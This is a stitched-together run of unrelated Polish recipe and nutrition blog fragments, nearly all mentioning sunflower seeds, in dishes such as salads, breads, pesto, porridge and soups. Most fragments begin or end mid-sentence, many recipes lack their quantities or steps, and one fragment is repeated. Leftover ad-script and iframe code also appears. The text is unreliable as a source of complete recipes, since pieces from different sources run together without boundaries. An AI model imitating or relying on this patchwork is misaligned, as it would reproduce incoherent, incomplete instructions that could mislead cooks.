Składniki: spód ▸ 200 g daktyli bez pestek (namoczonych min. 3 godz) ▸ 2 łyżki masła orzechowego ▸ 2 łyżki kakao ciemnego ▸ 160 płatków jaglanych/owsianych ▸ 50 g nasion słonecznika  ▸ 2 łyżki oleju kokosowego rozpuszczonego masa ▸  2 budynie waniliowe ▸ 1 galaretka cytrynowa ▸ 750 ml mleka  ▸ 400 g truskawek (na zdjęcie mniej) ▸ gorzka czekolada Przygotowanie: 1.  Wszystkie składniki na spód wrzucamy

również ekologiczne i specjalistyczne. Znajdziemy u nich również gotowe mieszanki do wypieku chleba czy ciast. Nie zaprzestali tylko na tym i w gamie produktów znajdziemy też płatki czy słonecznik łuskany, wszystko pochodzenia ekologicznego. Jednym z prezentów, jakim mnie obdarowali, są ekologiczne płatki owsiane ( LINK do produktu), z których przygotowałam naszą pieczoną owsiankę. Opakowanie jest zamykane strunowo, dzięki czemu nie potrzebujemy

skutecznie zbijają zły cholesterol. Np. jajka faszerowane pastą z awokado! Gwarantuję, że posmakujecie w takim duecie. ◾  Chleb z dużą ilością ziaren Najlepszy zestaw na śniadanie to pieczywo ze słonecznikiem, pestkami dyni, siemieniem lnianym czy płatkami owsianymi. Błonnik skutecznie walczy ze zbyt wysokim cholesterolem.  ◾  Oliwa i olej rzepakowy (pyszna sałatka  link ) Oliwa i olej rzepakowy posiadają zdrowe

Dzień dobry :-) Uff dalej gorąco, aż ciężko wytrzymać :-( U nas dzisiaj na śniadanko dzieci zażyczyły sobie omlety. Zrobiliśmy biszkoptowe z jogurtem Skyr, ziarenkami siemienia lnianego, pestkami dyni i słonecznika (ja mam to w gotowej mieszance), oraz jeżynami. Polecam, na pewno takie śniadanko posmakuje i  dzieciom i dorosłym :-) Miłego piątku :-) Składniki na 1 omlet: 2 jajka M 1,5 łyżki

SAŁATKĘ Z CUKINIĄ I TUŃCZYKIEM Składniki na sałatkę z cukinią i tuńczykiem: 1 cukinia, młoda, mała 1 pomidor malinowy duży 1 puszka tuńczyka w sosie własnym 2 łyżki ziaren słonecznika prażonych 1 łyżka majonezu – opcjonalnie 1 łyżeczka przyprawy do sałatek Jak zrobić sałatkę z cukinia i tuńczykiem: Cukinię kroimy w plastry lub w ćwierć plastry i poddajemy obróbce termicznej

stopni) .   Przed pieczeniem wierzch możesz posmarować rozmąconym jajkiem, wtedy pizza będzie mieć ładniejszy bardziej rumiany wygląd.   Jeśli chcesz, po wierzchu posyp… sezamem, ulubionymi suszonymi ziołami, ziarnami słonecznika lub dyni.             A na deser polecam… – Trufle kokosowe z mascarpone – Stefanka kokosowa z kaszy manny – Ciasteczka cynamonowe (błyskawiczne) – Ciasto

stopni) .   Przed pieczeniem wierzch możesz posmarować rozmąconym jajkiem, wtedy pizza będzie mieć ładniejszy bardziej rumiany wygląd.   Jeśli chcesz, po wierzchu posyp… sezamem, ulubionymi suszonymi ziołami, ziarnami słonecznika lub dyni.             A na deser polecam… – Trufle kokosowe z mascarpone – Stefanka kokosowa z kaszy manny – Ciasteczka cynamonowe (błyskawiczne) – Ciasto

śmietaną, lodami, nutellą, salami, serem żółtym, serem białym, farszem pieczarkowym, sosem pomidorowym, mięsem mielonym, warzywami… Z ciekawych wersji: ostatnio jadłem z serem, kurczakiem grillowanym, rukolą, suszonymi pomidorami i prażonym słonecznikiem. Pycha! Po czwarte: może być składnikiem innych dań. Możemy z nich zrobić krokiety, naleśnikowe cannelloni, pseudo-lasagne, torcik czekoladowy czy wytrawne przystawki. Chcecie zobaczyć któryś z tych przepisów na blogu

sałaty 100 g pomidorków koktajlowych dressing: sok z 1 limonki lub 1/2 większej cytryny 1 łyżka sosu sojowego 1 łyżeczka oleju sezamowego 1,5 łyżeczka oleju rzepakowego łyżeczka pestek słonecznika i dyni Jajka gotujemy na twardo, a następnie, po obraniu, kroimy w ćwiartki. Pomidorki również kroimy w ćwiartki. Umytą sałatę układamy w miseczce, dodajemy jajko i pomidorki oraz kuleczki sera

dysponowałam) czy różnych mąk. Wyszły wyśmienite! Składniki (wyszło mi 18 sztuk): 1 czubata szklanka płatków owsianych (miałam też trochę żytnich to dodałam) - w oryginale 2 szklanki 1 szklanka łuskanego słonecznika 1/2 szklanki mąki ( dałam pół na pół pszenną i żytnią) 1/2 kostki miękkiego masła 2 jajka 3 łyżki miodu 1 łyżeczka proszku do pieczenia: Sposób wykonania: 1. Wszystkie składniki wymieszać

doprawiamy solą i pieprzem. Czosnek należy przecisnąć przez praskę lub bardzo drobno pokroić. Połączyć z jogurtem, doprawić do saku. Sosem polać sałatkę, lekko zamieszać. Sałatkę można posypać prażonymi pestkami słonecznika lub dyni. Smacznego! Dziękuję, że tutaj jesteś!  Zostaw komentarz, napisz, co sądzisz o  tym przepisie. Nie zostawiaj w komentarzach linków (chyba, że kontekst rozmowy tego wymaga

GRYCZANA Z BOTWINKA i ORZECHAMI Składniki na kaszę gryczana z botwinka i orzechami: 1,5 szk kaszy gryczanej 3 szkl wody sól 2 buraczki z botwinka 2 łyżki ziaren słonecznika 2 łyżki migdałów w płatkach 2 łyżki pestek dyni 2 łyżki masła lub dobrego oleju tłoczonego na zimno – ja użyłam oleju z pestek moreli Jak zrobić kaszę gryczana z botwinka

migdałami to jedna z naszych ulubionych sałatek. Jest bardzo prosta w wykonaniu, a do tego jaka smaczna! Idealnie sprawdzi się jako sałatka na imprezę :) Migdały można zastąpić prażonym słonecznikiem. Sałatka The post Sałatka z brokułami, fetą i migdałami appeared first on KulinarnePrzeboje.pl

tego pięknie wyglądają na talerzu zachęcając do zjedzenia. Składniki 6 kromek chleba tostowego 500 g białego twarożku pęczek szczypiorku 2 ząbki czosnku 200 g pestek dyni i słonecznika sól,pieprz 2-3 łyżki jogurtu naturalnego zielony ogórek pokrojony w cienkie … Czytaj dalej Przekąski z ogórkiem Artykuł Przekąski z ogórkiem pochodzi z serwisu gotuj-ze-mna-blog

niezwykle smaczna dzięki bogactwu smaków i aromatów. PRZEPIS NA SAŁATKĘ WŁOSKĄ Z KASZĄ Składniki na Sałatka włoska z kaszą: 2 szkl ugotowanej kaszy gryczanej białej 3 łyżki ziaren słonecznika uprażonych 2 łyżki orzeszków piniowych uprażonych 3 łyżeczki pesto bazyliowego 10 suszonych pomidorów z oleju 3 łyżki oleju z suszonych pomidorów 2 pomidory 1 puszka kukurydzy 1 puszka fasoli czerwonej

wierzch – borówka amerykańska i galaretka. Zdecydowałam się na borówkę, bo uwielbiam jej smak w letnich wypiekach. Jeśli chcecie, można ją zastąpić chocolate chips, a nawet pestkami dyni czy słonecznika. Jeśli jednak zależy Wam by było świeżo i orzeźwiająco, wybierzcie borówkę amerykańską – to moim zdaniem najlepszy wybór Co do galaretki to wybrałam tę o smaku Arbuzada – ma taaaaki

żytniej razowej 1 szklanka ciepłej wody Ciasto: 1 kg. mąki pszennej ( miałam typ 650) 3 szklanki ciepłej wody 1/2 łyżeczki cukru 20 g. drożdży 2 łyżeczki soli 1 szklanka słonecznika 1/2 szklanki płatków owsianych 1/2 szklanki siemienia lnianego Wykonanie: Mąkę żytnią wsypać do miski, wlać ciepłą wodę i wymieszać. Przykryć ściereczką i zostawić na noc. Na drugi dzień, do zakwasu

orkiszu typ750 - 30g soli (u mnie himalajska) - 250g zakwasu (u mnie po 125g żytniego i 125g orkiszowego ), wyjętego ok.1-2h wcześniej z lodówki - 200g ziaren (u mnie 70g dyni, 80g słonecznika i 50g siemienia lnianego) - ok.850g (ml) wody filtrowanej lub źródlanej * Płaskurka to jeszcze starsza niż orkisz odmiana pszenicy (farro), o cennych właściwościach odżywczych. To jedno z pierwszych udomowionych

Kolejny pochmurny dzień mamy za sobą. Kolejna pożywna zupa wjechała na stół. Tym razem mięsna z chrupiącą słomką ptysiową pełną nasion :czarnuszką, siemieniem lnianym, sezamem i słonecznikiem.  Jest szybka, pożywna i przede wszystkim przepyszna. Idealny sposób, aby z esencjonalnego rosołku zrobić coś innego .  Czyli nie robimy zupy pomidorowej. Składniki skrzydełka z kurczaka , u mnie 8 sztuk jedna bardzo

webe"; iframe.setAttribute("src", link); document.getElementById("b9482c1b-d328-408f-8481-04e00db4bd36").appendChild(iframe); Składniki szklanka płatków owsianych górskich 150 ml mleka jeden dojrzały banan 2 łyżki pestek dyni i słonecznika 2 łyżki wiórków kokosowych szczypta cynamonu garść mieszanki orzechów Czas przygotowania 30 minut Liczba porcji 10-12 porcji Przygotowanie Banana blendujemy z mlekiem i cynamonem w większej misce. Następnie wsypujemy

również wzbogacona o owoce, warto postawić na suszone morele, śliwki i cytrusy. Cennym źródłem żelaza są także ryby, jajka, szpinak, buraki, brokuły. Spożywajmy też ciemnozielone orzechy, nasiona dyni i słonecznika, pełnoziarniste produkty zbożowe i warzywa strączkowe. W uzupełnieniu niedoboru żelaza zalecane jest, abyśmy stosowali produkty zawierające żelazo, takie jak: suplementy diety, które zawierają ten pierwiastek w odpowiednich ilościach. Post

koktajlowych łyżka oliwy z oliwek sól i pieprz ryż do podania bazylia do dekoracji PESTO: 2 garście liści bazylii garść startego parmezanu garść orzechów piniowych/nerkowców (można użyć też słonecznika) 2 ząbki czosnku 8-10 łyżek oliwy z oliwek szczypta soli Przepis 1 Na samym początku przygotujcie pesto. Do zrobienia pesto możecie użyć moździerza lub blendera. W pesto przygotowanym

sprawdza się również jako dodatek do ciasteczek. Ziarna amarantusa mają wysoką zawartość błonnika, żelaza oraz magnezu. Jeśli szukacie więcej inspiracji na ciasteczka to polecam poniższe przepisy: Ciasteczka owsiane ze słonecznikiem Miodowe kruche ciasteczka (adsbygoogle = window.adsbygoogle || []).push({}); The post Ciasteczka kokosowe z bananem appeared first on KulinarnePrzeboje.pl

spokojnie nawet tydzień. CIEKAWOSTKI Oryginalne, włoskie pesto zawiera orzeszki piniowe. Ale z powodzeniem można je zastąpić orzechami nerkowca. Eksperymentując z własnym pesto polecam dodać też oliwki, pestki dyni, słonecznika lub orzechy włoskie. Z kolei zamiast parmezanu można użyć sera grana padano lub innego twardego sera żółtego. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Domowe pesto pochodzi z serwisu Fleksitarianizm.pl

jednak nie rezygnować z miodu, który robi tutaj fajną robotę.  Składniki: 1 szklanka mleka pół szklanki płatków owsianych górskich 3 truskawki (lub tyle ile chcecie) 1 łyżeczka ziaren słonecznika 1 łyżeczka ziaren siemienia lnianego pół łyżeczki miodu (przepis na 1 dużą porcję) Płatki zalewamy mlekiem i odstawiamy na godzinę. Po tym czasie dokładamy do nich pokrojone w plasterki truskawki

wytrawnymi ciasteczkami podanych na imprezie, a nawet jako nadzienie do zwykłych naleśników. Poniżej prezentuję Wam recepturę na szybką wersję podstawową, którą możecie urozmaicić na wiele sposobów, np. dodając pestki słonecznika, świeże zioła lub też ulubione przyprawy. Polecam! 1 puszka groszku (o pojemności 400g) (*) 1 ząbek czosnku 1 łyżka dobrej jakości oleju/oliwy sól, pieprz W razie potrzeby: odrobina zalewy z groszku

pesto i kurczakiem Przepis na domowe zielone pesto Drukuj przepis Czas gotowania: 10 minut Składniki 2 garście liści bazylii garść startego parmezanu garść orzechów piniowych/nerkowców (można użyć też słonecznika) 2 ząbki czosnku 8-10 łyżek oliwy z oliwek szczypta soli Przepis 1 Do zrobienia pesto możecie użyć moździerza lub blendera. W pesto przygotowanym w moździerzu będziecie mieć wyczuwalne orzechy

bazarze, aż tyle dobroci. Ilość porcji: 3-4 porcje Czas przygotowania: 30-45 minut Składniki: fasolka szparagowa – 150g cukinia – 150g bób – 150g masło – 30g nasiona słonecznika – 1 łyżeczka oliwa z oliwek – 2 łyżki sok z cytryny – 1 łyżka świeża mięta – 1 łyżka natka pietruszki – 1 łyżka sól, pieprz Przygotowanie: Fasolkę umyj

mieszkając zupę i znów zagotować. Na końcu wyłączyć podgrzewanie i zmiksować całość na krem, doprawić sokiem z cytryny i ewentualnie solą. Można dodać oliwę z oliwek, nasiona takie jak słonecznik i trochę świeżej zieleniny. Artykuł Kremowa zupa pietruszkowo-gruszkowa pochodzi z serwisu Fleksitarianizm.pl

Brokuły z jajkiem, prażonymi nasionami i sosem serowym idealnie sprawdzą się na lekki obiad. Przepis na sałatkę brokułową na ciepło Składniki: 1 brokuł, garść nasion łuskanych (u nas mieszkanka słonecznika, dyni i siemienia), dwa jajka ugotowane na twardo. Do przygotowania sosu potrzebujesz także łyżki masła, dwóch łyżek mąki pszennej, ząbek czosnku, szklankę mleka, dwie łyżki startego sera żółtego (najlepiej dojrzewającego

szybko się go robi 😉. Czas przygotowania to 10 minut z umyciem miski, czas pieczenia to 60 minut w 160C. A poniżej przepis ❤️ Przepis: 200g siemienia lnianego  200g nasion słonecznika  50g nasion sezamu  50g pestek dyni  4 jajka  50 ml oliwy z oliwek  płaska łyżeczka soli  Wszystkie składniki mieszamy i przelewamy to blaszki (keksówki

torebek spora garść mielonych orzechów włoskich garść może nawet dwie- żurawiny, którą uprzednio posiekałam w blenderze na drobne kawałki parę suszonych śliwek siekanych drobno łyżka nasion chia sporo ziaren słonecznika dwa lub trzy bardzo dojrzałe banany łyżka miodu płynnego pół łyżeczki kardamonu i łyżeczka cynamonu opcjonalnie gorzka czekolada do posypania Wszystkie suche składniki wymieszałam w misce. Banany wrzuciłam z miodem

tymczasowego zapału do gotowania: młode ziemniaki z koperkiem i olejem lnianym, kotlety sojowe panierowane w jajku z curry i mące pszennej, fasolka szparagowa na parze z prażonymi pestkami słonecznika, sałata zielona w musztardowym sosie i sałatka z pomidorów, cebuli i kalafiora na parze. Przepis na ciasto podesłała mi Karolina. Znajdziecie je tutaj . Robiłam już kilka razy (również z odmrażanymi owocami

bobu 2 łyżki margaryny Śniadaniowej o smaku solonego masła 4-5 szt. rzodkiewek 200 g. dojrzewającej rolady koziego sera pęczek szczypiorku wraz z cebulką garść migdałów kiełki słonecznika sól, pieprz Wszystkie składniki na ciast o gofrowe powinny być w temperaturze pokojowej. Mąkę wymieszaj z solą, cukrem i proszkiem do pieczenia. Żółtka oddziel od białek, a te ubij na sztywną pianę

szpinakowej: 4 łyżki oliwy lub oleju rzepakowego 4 łyżki soku z cytryny 2 łyżeczki miodu 2 łyżeczki musztardy delikatesowej *opcjonalnie możecie dorzucić do sałatki garść podprażonych pestek dyni, ziaren słonecznika lub orzeszków piniowych.   (adsbygoogle = window.adsbygoogle || []).push({}); Prosty przepis na sałatkę ze szpinakiem i malinami: Szpinak umyć (jeśli jest taka potrzeba – z reguły sklepowy szpinak pakowany w woreczki jest

zdaniem doskonały pomysł na ciekawe, lekkie śniadanie.  Składniki (na 2 porcje): 4 łyżki kaszy jaglanej  2/3 szklanki soku z mandarynek, świeżo wyciskanego truskawki, jabłko, brzoskwinia  pestki słonecznika  Gotuję w soku z mandarynek kaszę jaglaną do momentu aż wchłonie cały płyn. Podaję z owocami i posypuję pestkami.  Smacznego, Klaudia

wody 10g soli 500g mąki pszennej typu 500-750 (u mnie mąka orkiszowa)  1 opakowanie zakwasu chlebowego orkiszowego z drożdżami (zakwas i drożdże) Opcjonalnie: 2 łyżki ziaren (np. słonecznika, dyni, soi)  Chleb pieczony w piekarniku: Wszystkie składniki umieścić w misce i porządnie zagnieść, aby uzyskać elastyczne ciasto odchodzące od rąk i naczynia. Całość przykryć oraz odstawić w ciepłe

głos/y ) składniki 250 g pieczarek 300 g ugotowanej kaszy jęczmiennej, czyli ok. 100 g suchej kaszy (możesz też użyć innej kaszy, np. gryczanej ) 1 cebula 1 łyżka ziaren słonecznika lub pestek dyni 50 g bułki pszennej lub chleba 1 łyżka sosu sojowego 1 łyżeczka majeranku lub lubczyku (świeżego lub suszonego) 2-3 ząbki czosnku lub 1 łyżeczka czosnku granulowanego

gęstej masy formujemy placki. Smażymy na suchej patelni, z obu stron. Klopsiki: 200 g drobiowego mięsa mielonego 1 łyżka oliwy z oliwek pęczek natki pietruszki 2 łyżki pestek słonecznika ząbek czosnku 400 g pomidorów w puszce 1 kulka mozzarelli (125 g) Oliwę, czosnek, natkę i pestki miksujemy. Pesto mieszamy z mięsem, doprawiamy solą. Formujemy małe kotleciki. Mozzarellę kroimy w plasterki

gotowy. Do przygotowania pesto będziemy potrzebowali: Porcja na 500 g makaronu około 50 g świeżej bazylii 50 g twardego sera (użyłam Grana Padano) 25 g orzeszków piniowych (ewentualnie ziaren słonecznika) 2 ząbki czosnku 50 ml oliwy sól, pieprz (adsbygoogle = window.adsbygoogle || []).push({}); Link do filmiku z przepisem na: Pesto z bazylii Przygotowanie: Ser ścieram na tarce o średnich oczkach. Wypłukaną

półkach Lidla na stałe. Skład jak zawsze wart jest analizy. Jak się okazuje to w sumie dwa takie same produkty, ale inaczej ukształtowane. Składają się głównie z kiełków słonecznika oraz teksturowanego białko pszenicy i białego grochu. A także mąki amarantusowej i cebuli z czosnkiem. Artykuł Dania na grilla od DOBRA KALORIA pochodzi z serwisu Fleksitarianizm.pl

wykorzystanie naci z młodej marchewki, która często ląduje w koszu. Pesto możemy stosować na kanapkach zamiast masła, na grzankach lub w makaronach. Polecam również “ Pesto pietruszkowe z prażonym słonecznikiem ” lub “ Pesto pietruszkowe z orzechami nerkowca” . A jeśli interesuje Was przepis na pesto z bazylii, znajdziecie je w przepisie na “ Kanapeczki z ciasta francuskiego z bazyliowym

jest kilkanaście rodzajów chleba między innymi: gryczany, jasny i ciemny orkiszowy, biały na maślance czy żytni, który wyrabiany jest przez dwa dni. Wieloziarnisty chleb na maślance i zakwasie ze słonecznikiem, siemieniem lnianym, kozieradką, koprem włoskim i czarnuszką. Ten ostatni uznany został za najlepszy chleb domowego wypieku podczas corocznego święta kupców w Gdańsku na Jarmarku św. Dominika. W swojej kolekcji Pani

kaszy quinoa (znana również jako komosa ryżowa) lub innej kaszy jaką mamy w domu - jaglana, jęczmienna a nawet z ryżem będzie dobre (prawie cała szklanka) garść ziaren słonecznika 3 łyżki mąki ziemniaczanej 3-4 łyżki oleju 2 łyżki sosu sojowego pół łyżeczki syropu z agawy lub innego słodzidła sól i pieprz do smaku Przygotowanie: 1. Kalafiora lub brokuła gotujemy. Kaszę

łyżeczki cukru brązowego, 4 łyżki zmielonego siemienia lnianego, 6 łyżek oleju (u mnie - kokosowy), 3 szklanki ciepłej wody (2 szklanki zimnej + 1 szklanka wrzątku), 2 łyżki pestek dyni i/lub słonecznika (ewentualnie). Wykonanie : W misce umieszczamy mąkę, drożdże, mielone siemię, sól i cukier. Dokładnie mieszamy. Dolewamy wody i oleju, ponownie mieszamy. Uzyskamy bardzo gęsta masę. Przykrywamy ściereczką i odstawiamy

niej: rukola, szpinak i botwina. Zjedliśmy połowę paczki a reszta zaczynała więdnąć, danie w głowie powstało w 3 sekundy. Oliwki ulubione do dania dodałam i aby chrupało uprażone pestki słonecznika. Gorąco polecam. Makaron z młodymi listkami, oliwkami i pestkami. CZYTAJ DALEJ

dania, które lubi. Reszta są to przepisy Jana. Są tu śniadaniowe klasyki takie jak koktajl jaglany z jagodami i jagodowym sosem, jajecznica perfekcyjna, superomlet z ziołami i prażonym słonecznikiem, kolejne są kanapki i inne mączne miłości w wydaniu na słono i słodko. Na końcu przechodzimy do obiadów, gdzie mamy podział na zupy, mięsne i wege. Przepisy są proste, ze składników

blogu znajdziecie już kilka różnych propozycji na kruche ciasteczka, są z czekoladą, dżemem, marmoladą, słonecznikiem... Tym razem proponuję kruche z drażetkami smarties. Szybkie d przygotowania i niezwykle pyszne. Moja córka wręcz oszalała na ich punkcie, połowę zabrała do szkoły i poczęstowała koleżanki :) Polecam i Wam te urocze ciasteczka a zamiast smarties można użyć skittles lub m&m's. Składniki

miejskiego zgiełku. Zbierajmy raczej młode, jeżeli nie uda się takich to z tych wyrośniętych same górne listki. Zdrowo i smacznie ,polecam. Składniki 80 g pokrzyw, listki 60 g słonecznika prażonego kilka łyżek oliwy z oliwek 2 … Czytaj dalej Pesto z pokrzywy z makaronem

Okazało się, że się da! Trwało to oj trwało. Łącznie chyba 6h, co i tak jak na chleb ponoć niedługo. I wyszły, piękne dwa bochenki ??. Pierwszy pszenny razowy ze słonecznikiem, na drożdżach i suszonym zakwasie. Drugi pszenny z amarantusem i nasionami sezamu. Oba pyszne, ładne, bez zakalca i z chrupiącą skórką! Bomba! Moje MUST HAVE na dobry początek: 1) Świeże

przeciwutleniacz pochodzenia roślinnego, pozwala uniknąć jełczenia olejów roślinnych zawartych w kosmetykach. Chroni składniki przed utlenianiem, zmianą koloru i zapachu. Ujędrnia, działa odżywczo i przeciwstarzeniowo. Helianthus Annuus - olej z nasion słonecznika ma działanie przeciwzapalne i łagodzące podrażnienia

dużych oczkach ogórki zielone. Całość przyprawić solą, pieprzem i cukrem dokładnie mieszamy. Gotowy chlodnik włożyć do lodówki na minimum 1 godzinę. Podajemy z prażonymi ziarnami u mnie mix słonecznik, dynia,pinia

PRZEPIS NA SAŁATĘ Z MAŁOSOLNYM OGÓRKIEM Składniki na Sałatę z małosolnym ogórkiem 1 sałata rzymska mini 2 pomidory malinowe pół szkl kukurydzy 4 ogórki małosolne 3 łyżki prażonych ziaren słonecznika sól 1 łyżka majonezu 1 ketchupu 3 jogurtu ząbek czosnku Jak zrobić sałatę z ogórkiem małosolnym: Sałatę myjemy, osuszamy i kroimy w nieduże kawałki nożem do sałaty. Pomidory kroimy

jednolitą masę .Wlewamy śmietankę i dokładnie mieszamy mieszamy. Ugotowane ziemniaczki pokroić w kostkę i obsmażyć ma patelni na rumiano. Zamiast ziemniaków można podawać z grzankami ,prażonymi pestkami dyni lub słonecznika

lepiej nie wykorzystywać liści) 1 mała sałata rzymska (albo pół sałaty masłowej) garść rukoli 1 awokado 4 jajka 100g wędzonego łososia 50g parmezanu  mieszanka ziaren do posypania: pestki słonecznika, dyni, siemię lniane, sezam sos: 2 łyżki majonezu 2 łyżki jogurtu 1 ząbek czosnku 1 łyżka soku z cytryny 2 łyżki tartego parmezanu 1 łyżeczka miodu sól pieprz

innych dowolnych sałat 100 g soczewicy (u mnie z puszki na parze)- można samemu gotować jak ktoś ma czas 2 łyżki posiekanego szczypioru posiekana drobno kulka mozzarelli łyżka ziaren słonecznika lekko uprażonych na suchej patelni Dużo rzodkiewki- przynajmniej 20 kulek- pokrojonych w plasterki sos: 3 łyżki oliwy z oliwek (lub dobrego oleju) po pół płaskiej łyżeczki: soli, pieprzu ziołowego, papryki

kanapek. Powstała w chwili, gdy postanowiliśmy z mężem ograniczyć spożywanie mięsa. Jest prosta i szybka w przygotowaniu. Smaczna, a co najważniejsze małokaloryczna! Składniki: 400g kukurydzy konserwowej, 2 łyżku pestek słonecznika, świeża bazylia, natka pietruszki, świeże liście kolendry, 1 łyżka oliwy z oliwek, kilka kropel soku z cytryny, pieprz i sól do smaku. Kukurydzę należy odsączyć z zalewy. Wrzucamy

Dzisiaj pomysł na szybki, aromatyczny i bardzo smaczny obiad. Makaron można w razie potrzeby posypać uprażonym na suchej patelni słonecznikiem. Jednak bez tego dodatku również smakuje rewelacyjnie. Zapraszam do wypróbowania przepisu i podzielenia się swoją opinią w komentarzach za co bardzo dziękuję. Składniki: 300 g makaronu świderki 1 duży brokuł 4 ząbki czosnku 1 puszka czerwonej fasoli 1 pojedyncza pierś

dużo energii i witamin. 1/2 szklanki płatków jaglanych 250 ml mleczka kokosowego 1 łyżeczka nasion chia 1 morela 1 kiwi 10 malin 10 borówek 1 łyżeczka nasion sezamu, słonecznika Do garnka wlewam mleko, dodaję płatki jaglane, chia i gotuję aż zrobią się miękkie około 2 minuty. przekładam do słoiczka, dodaję kiwi, maliny, borówki, morele. Posypuję nasionami. Jedną porcje warzyw

zawierająca dużo błonnika, żelaza i wapnia. Osoby nie będące na poście zdrowotnym, mogą zupę zabielić zupę lub wzbogacić swoją porcję łyżką dobrego oleju tłoczonego na zimno czy pestkami np słonecznika albo orzechami. Można od razu ugotować większą porcję zupy i nadmiar zawekować na później – zobacz wpis Jak wekować zupy w słoiku.     PRZEPIS NA ZUPA BOTWINKA Składniki na zupa

fantastyczne drożdżówki! Wyglądem chciałam nawiązać do słonecznikowych pól przy moim domu. Pól, w których zawsze bawiłam się z bratem i kuzynami ukrywając w wielkich, sięgających nam wysoko nad głowy słonecznikach. Ależ był przy tym ubaw! Ależ to była zabawa! Wiecie… uwielbiam wspominać takie dziecięce lata! A Wy? Drożdżówki są niesamowicie puszyste i delikatne. Ja dodałam do nich słodkie morele

gulaszy. SKŁADNIKI / 8 sztuk 150 -200 g (1-1i1/2 szklanki) ugotowanej kaszy gryczanej 50 g sera, najlepiej parmezanu lub twardego sera żółtego 1 ząbek czosnku 1 łyżka pestek słonecznika 2 suszone pomidory ze słoiczka / można pominąć 2 łyżki bułki tartej + 3 łyżki do obtoczenia 2 jajka przyprawy: sól, świeżo zmielony czarny pieprz, 1 łyżeczka suszonego oregano, szczypta chili olej

malinami, borówkami, jabłkami, pomarańczami czy bananami.. Orzechy siekam te, które znajdę w szafce, najczęściej są to orzechy laskowe czy włoskie, pestki dyni lub słonecznika, czasem daję migdały albo płatki migdałowe,  czy tez nerkowce lub orzechy pekan... Dosładzam ją najczęściej miodem lub erytrytolem, czasem po prostu cukrem (choć staram się przy

szklanki mąki pszennej 1/2 łyżeczki soli 1 żółtko 3 garście liści pokrzywy młodej pozostałe: 1/2 pęczka szparagów białych 1/2 papryczki chili natka pietruszki 3 ząbki czosnku olej rzepakowy ziarna/ słonecznik, sezam, pestki dyni/ 3 łyżki Makaron pokrzywowy: Pokrzywę same listki wrzucam do wrzątku i gotuję 3 minuty. Odcedzam z wody i miksuje blenderem. Do miski przesiewam mąkę, dodaję sól, żółtko

PRZEPIS NA CHLEB BEZGLUTENOWY Z ZIARNAMI Składniki na Chleb bezglutenowy z ziarnami: 200g płatków owsianych bezglutenowych 100g mąki owsianej bezglutenowej 50g ziaren siemienia lnianego 50g pestek dyni 50g pestek słonecznika 50g mąki teff 2 łyżki nasion chia 2 łyżki nasion babki jajowatej 2 łyżeczki soli himalajskiej 1 łyżeczka proszku do pieczenia bezglutenowego 1 jajko ok 450ml wody Jak zrobić Chleb

szklanki płatków owsianych 3 łyżki miodu (użyłam miodu Manuka) 2 łyżki oleju kokosowego 2 łyżki mąki kokosowej garść suszonej żurawiny, migdałów i pestek dyni (możecie użyć też ziarna słonecznika, rodzynki, orzechy włoskie, siemię lniane, czy co tam lubicie) Daktyle zalewamy wrzątkiem i odstawiamy na co najmniej pół godziny, a następnie blendujemy razem z wodą, w której się moczyły, wsypujemy płatki

pęczka szparagów zielonych 20 dkg krewetek 5 rzodkiewek 1/2 papryczki chili sól, pieprz 1 żabek czosnku natka pietruszki olej rzepakowy 60 g sera camembert 2 łyżki nasion dyni, sezamu,słonecznika sos: 6 łyżek oliwy z oliwek sól 1 łyżeczka musztardy  1 żabek czosnku 1 łyżka octu winnego Składniki sosu przekładam do słoiczka, zakręcam i mocno potrząsam aż sos zgęstnieje

Uwielbiam pestki dyni i często dodaję je do różnych potraw, nie tylko takich na słodko. Już Wam prezentowałam 3-składnikowe ciastka z pestek słonecznika - klik , które są rewelacyjne w smaku. To właśnie one były inspiracją do powstania ciasteczek z pestek dyni goszczących w moim domu naprawdę bardzo często.  Za każdym razem znikają ekspresowo! Posiadają delikatnie miękki środek, chrupiący wierzch

przykładowy przepis na tanie, zdrowe danie obiadowe. Polecam!  Składniki na 2 porcje: 4 małe buraki, 2 ziemniaki, około 20 łodyg pokrzywy wraz z liśćmi, 4 łyżki zmielonych nasion słonecznika lub sezamu lub migdałów, 2 łyżki oleju z konopi,  lnianego lub oliwy z oliwek, 2 łyżeczki suszonego czosnku w proszku, 1 łyżeczka soli kamiennej, 1/2 łyżeczki pieprzu. Wykonanie : Buraki

przykryciem jakieś 10 minut. Awokado przekroić na pół i pokroić w poprzek na półplasterki. Chilli podawać z plastrami awokado, posypać świeżo siekaną kolendrą. Można dodać jeszcze kilka prażonych nasion słonecznika. 1 porcja to ok. 370 kcal , węglowodany: 41g, białko: 7g, tłuszcz: 20g Informacje dla diabetyków: w porcji znajduje się 4,1 WW i 2 WBT SMACZNEGO! Artykuł CHILLI Z BATATÓW

nadzienie: 250 g białego sera 150 g fety 2 łyżki pasty z czosnku niedźwiedziego ( z tego przepisu) sól, pieprz szczypiorek Dodatkowo: 1 białko 2 łyżki mleka 2 łyżki ziaren słonecznika Przygotowanie: ciasto drożdżowe o pomniejszoną ilość składników jw. zrobić wg  tego przepisu. Bułeczki z tej ilości ciasta zmieszczą się na jednej dużej blaszce z piekarnika. Z 500 g mąki

Składniki na 8 bułek: 250g mąki pszennej pełnoziarnistej 250g mąki pszennej luksusowej 1 ⅓ szklanka mleka 50g masła 1 jajko 25g drożdży 1 płaska łyżeczka soli ½ łyżeczki cukru Pestki dyni, słonecznika, czarnuszka, czarny sezam Sposób przygotowania: Masło topimy i studzimy. Mleko lekko podgrzewamy- do temperatury max. 35⁰, ⅓ łączymy z cukrem, drożdżami i 2 łyżkami mąki pszennej. Odstawiamy do lekkiego wyrośnięcia

szklankami. To co? Kto robi? Składniki: 3 szklanki ciepłej wody 1 łyżeczka miodu 70 g. drożdży 1 łyżka nasion chia 2 łyżki sezamu 3 łyżki siemienia lnianego 5 łyżek słonecznika 2 szklanki mąki orkiszowej 4,5 szklanki mąki pszennej (typ 650) 2 łyżeczki soli 3 łyżki oleju Pomada: 1/5 szklanki ciepłej wody 1 łyżka mąki duża szczypta soli Wykonanie: Ciepła

śmietany i miksujemy np. blenderem na gładki krem szparagowy. Doprawiamy zupę do smaku solą i pieprzem. Proponuję posypać zupę domowymi grzankami, szczypiorkiem lub prażonymi na suchej patelni pestkami słonecznika lub dyni. Błyskawiczna zupa ze szparagów jest gotowa. Smacznego The post Zupa szparagowa ekspresowa appeared first on Damsko-męskie spojrzenie na kuchnię

